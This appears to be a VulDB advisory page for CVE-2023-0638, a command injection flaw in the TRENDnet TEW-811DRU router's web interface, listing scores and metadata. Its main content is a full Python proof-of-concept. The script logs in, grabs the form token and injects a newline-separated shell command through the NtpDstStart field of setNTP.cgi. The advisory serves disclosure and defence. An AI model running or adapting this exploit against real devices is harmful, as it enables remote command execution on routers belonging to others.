CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
---|---|---|
6.5 | $0-$5k | 0.04 |
A vulnerability has been found in TRENDnet TEW-811DRU 1.0.10.0 and classified as critical. This vulnerability affects an unknown functionality of the component Web Interface. The manipulation with an unknown input leads to a command injection vulnerability. The CWE definition for the vulnerability is CWE-77. The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. As an impact it is known to affect confidentiality, integrity, and availability.
The weakness was presented 02/02/2023. This vulnerability was named CVE-2023-0638. Technical details are unknown but a public exploit is available. This vulnerability is assigned to T1202 by the MITRE ATT&CK project.
A public exploit has been developed in Python. It is possible to download the exploit at vuldb.com. It is declared as proof-of-concept. The code used by the exploit is:
import requests,socket import re import time from urllib.parse import urlencode username = 'admin' password = 'ZYWN7T47' device_web_ip = '192.168.10.1' ping_target_ip = '192.168.10.102' request = {'HEAD': {'Host': '{}'.format(device_web_ip), 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '555', 'Origin': 'http://0.0.0.0:8081', #'Authorization': 'Basic YWRtaW46WllXTjdUNDc=', 'Connection': 'keep-alive', 'Referer': 'http://0.0.0.0:8081/adm/time.asp', 'Cookie': 'expandable=5c', 'Upgrade-Insecure-Requests': '1'}, 'PARAM': {'token': 'fW092VEZZPulJJfC1WkY', 'DSTenable': 'on', 'NtpDstEnable': 1, 'NtpDstOffset': -7200, 'NtpDstStart': 'abcd\nping -c 1 {}\n'.format(ping_target_ip), 'tz_daylight_start_day_select': 1, 'tz_daylight_start_time_select': 2, 'NtpDstEnd': 100102, 'tz_daylight_end_month_select': 384968387, 'tz_daylight_end_day_select': 1, 'tz_daylight_end_time_select': 2, 'enableNTP': 1, 'ntp_server': 1, 'NTPServerIP': 'pool.ntp.org', 'time_zone': 'UCT_-11', 'timer_interval': 16776915, 'manual_year_select': 2012, 'manual_month_select': 'abcd', 'manual_day_select': 'abcd', 'manual_min_select': -38, 'manual_sec_select': "abcd", 'timeTag': 'dummy', 'range.func': '/.../.../.../.../.../.../.../.../.../.../', 'DNSServerGuest': ''}, 'ATTR': {'URL': 'http://{}/setNTP.cgi'.format(device_web_ip), 'METHOD': 'POST', 'VERSION': 'HTTP/1.1'} } headers = request['HEAD'] params = request['PARAM'] method = request['ATTR']['METHOD'] url = request['ATTR']['URL'] login_header = {'Host': '0.0.0.0:8081', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0', 'Accept': '*/*', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', 'Referer': 'http://0.0.0.0:8081/login.asp', 'Cookie': 'expandable=4c'} login = 'http://{}/login.cgi?langSelection=EN'.format(device_web_ip) probe = 'http://{}/wizard/wizard.asp'.format(device_web_ip) loop = 3 r = None while loop>0: try: loop -= 1 r = requests.get(url=login,headers=login_header,auth=(username,password),timeout=5) if r.status_code != 200: continue r = requests.get(url=probe,headers=headers,auth=(username,password),timeout=5) pat = r'name="token" value="(.*?)"' token_value = re.findall(pat,r.text) if len(token_value)>0: params['token'] = token_value[0] print('new_token:{}'.format(token_value[0])) break except Exception as e: time.sleep((3-loop)*3) print('error:{}'.format(e)) try: r = requests.request(method=method,url=url,headers=headers,auth=(username,password),data=urlencode(params),verify=False,timeout=5) except: pass
There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.
Product
Vendor
Name
Version
License
CPE 2.3
CPE 2.2
CVSSv4
VulDB CVSS-B Score: 🔍VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv3
VulDB Meta Base Score: 7.2VulDB Meta Temp Score: 6.5
VulDB Base Score: 7.2
VulDB Temp Score: 6.5
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv2
AV | AC | Au | C | I | A |
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💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
Vector | Complexity | Authentication | Confidentiality | Integrity | Availability |
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unlock | unlock | unlock | unlock | unlock | unlock |
unlock | unlock | unlock | unlock | unlock | unlock |
unlock | unlock | unlock | unlock | unlock | unlock |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍
Exploiting
Class: Command injectionCWE: CWE-77 / CWE-74 / CWE-707
ATT&CK: T1202
Local: No
Remote: Yes
Availability: 🔍
Access: Public
Status: Proof-of-Concept
Programming Language: 🔍
Download: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍
0-Day | unlock | unlock | unlock | unlock |
---|---|---|---|---|
Today | unlock | unlock | unlock | unlock |
Threat Intelligence
Interest: 🔍Active Actors: 🔍
Active APT Groups: 🔍
Countermeasures
Recommended: no mitigation knownStatus: 🔍
0-Day Time: 🔍
Timeline
02/02/2023 🔍02/02/2023 🔍
02/02/2023 🔍
03/01/2023 🔍
Sources
Status: Not definedCVE: CVE-2023-0638 (🔍)
scip Labs: https://www.scip.ch/en/?labs.20161013
Entry
Created: 02/02/2023 09:09Updated: 03/01/2023 16:39
Changes: 02/02/2023 09:09 (38), 02/02/2023 09:10 (2), 03/01/2023 16:39 (2)
Complete: 🔍
Submitter: leetsun
Submit
Accepted
- Submit #76135: Command injection vulnerability in TRENDnet router TEW-811DRU (by leetsun)
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